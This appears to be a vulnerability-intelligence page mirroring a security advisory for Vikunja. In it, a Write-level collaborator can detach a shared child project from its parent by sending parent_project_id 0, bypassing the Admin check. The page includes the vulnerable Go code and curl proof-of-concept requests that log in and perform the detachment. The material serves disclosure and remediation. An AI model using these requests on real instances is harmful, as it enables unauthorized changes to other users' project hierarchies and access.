Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Network-accessible API requires Write-level authentication (PR:L); low complexity; integrity-only impact confined to hierarchy modification with no confidentiality or availability loss.
Primary rating from Vendor (https://github.com/go-vikunja/vikunja).
CVSS VectorVendor: https://github.com/go-vikunja/vikunja
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Lifecycle Timeline
3DescriptionCVE.org
Summary
The fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when parent_project_id > 0. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending parent_project_id: 0, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.
Affected component
- Package: go-vikunja/vikunja
- Affected versions: v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0.
- Tested on: Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27)
Technical detail
Vulnerable code
File: pkg/models/project.go (lines 1009-1041)
// GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE
// cascades Admin from any owned ancestor, so moving a shared child
// under an attacker-owned root grants Admin on the child. Require
// Admin on both sides of a reparent.
//
// Only gate on non-zero ParentProjectID: the generic update handler
// binds a fresh struct, so an omitted parent_project_id is
// indistinguishable from an explicit 0. Detach-to-root is therefore
// out of scope here -- a proper fix needs a pointer field.
if project.ParentProjectID > 0 {
// ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0
}File: pkg/models/project_permissions.go (line 145)
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
// reparent permission check -- SKIPPED when ParentProjectID == 0
}File: pkg/models/project.go (line 1065)
colsToUpdate := []string{
"title", "is_archived", "identifier", "hex_color",
"parent_project_id", // <-- ALWAYS included, writes 0 to DB
"position",
}Why it's exploitable
- The generic web handler (
pkg/web/handler/update.go:37) creates a fresh emptyProject{}struct --ParentProjectIDdefaults to Go's zero value (0). - When JSON body contains
"parent_project_id": 0, the struct hasParentProjectID == 0. CanUpdateat line 145:ParentProjectID != 0is false -- reparent check skipped -- falls through toCanWritewhich succeeds (attacker has Write).UpdateProjectat line 1018:ParentProjectID > 0is false -- Admin gate skipped entirely.- xorm writes
parent_project_id = 0because"parent_project_id"is always incolsToUpdatewithCols(). - The project is detached from its parent hierarchy.
Precondition checklist
- [x] Attacker has authenticated account
- [x] Attacker has Write permission on a child project (via direct share or team membership)
- [x] The target project has a non-zero parent_project_id (it's a child of another project)
- [x] Default Vikunja configuration (no special setup needed)
Reproduction
Prerequisites: Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.
- Authenticate as attacker:
TOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \
-H 'Content-Type: application/json' \
-d '{"username":"user_a","password":"UserAPassword1!"}' | jq -r '.token')- Verify attacker does NOT have Admin (delete should return 403):
curl -s -o /dev/null -w '%{http_code}' -X DELETE http://localhost:3456/api/v1/projects/4 \
-H "Authorization: Bearer $TOKEN"
# Expected: 403- Exploit -- detach project from parent:
curl -s -X POST http://localhost:3456/api/v1/projects/4 \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"title":"Sensitive Child Project","parent_project_id":0}'- Verify detachment:
curl -s http://localhost:3456/api/v1/projects/4 \
-H "Authorization: Bearer $TOKEN" | jq '.parent_project_id'
# Returns: 0 (was: 3)Evidence (3 independent runs)
| Run | parent_project_id BEFORE | DELETE attempt (proves no Admin) | parent_project_id AFTER | Result |
|---|---|---|---|---|
| 1 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
| 2 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
| 3 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
*Note: "null (detached to root)" means parent_project_id was set to 0 in the database, making the project a root-level project with no parent.*
Impact
- Unauthorized hierarchy modification: A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents).
- Permission inheritance disruption: The recursive CTE permission model traverses
parent_project_idupward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project. - Organizational disruption: The project moves from a structured hierarchy to a root-level project, breaking the owner's intended organizational structure.
Suggested fix
Use a pointer field *int64 for ParentProjectID to distinguish between "field omitted" (nil) and "explicitly set to 0" (detach). The fix commit itself acknowledges this at project.go:1017: "a proper fix needs a pointer field."
Alternatively, add a dedicated detach boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.
AnalysisAI
Incomplete authorization fix in Vikunja v2.3.0 allows Write-level collaborators to detach a shared child project from its parent hierarchy by supplying parent_project_id: 0, bypassing the Admin permission gate introduced by the CVE-2026-35595 fix. The flaw exists in versions v2.3.0 through the latest unstable builds and is fixed in v2.4.0. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must hold an authenticated Vikunja account with at minimum Write permission on the specific target child project, granted via a direct project share or team membership - unauthenticated users and users with no share on the project cannot exploit this. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD CVSS 3.1 score of 4.3 (Medium, AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) accurately reflects the constrained real-world risk: exploitation requires an existing authenticated account with Write-level share access on a specific child project, and the direct impact is limited to unauthorized project hierarchy modification rather than data exfiltration or code execution. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Upgrade Vikunja to version 2.4.0, which resolves the incomplete authorization check by properly handling the parent_project_id detach-to-root case. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same weakness CWE-862 – Missing Authorization
View allSame technique Privilege Escalation
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-67831
GHSA-44v6-7fxq-vgf4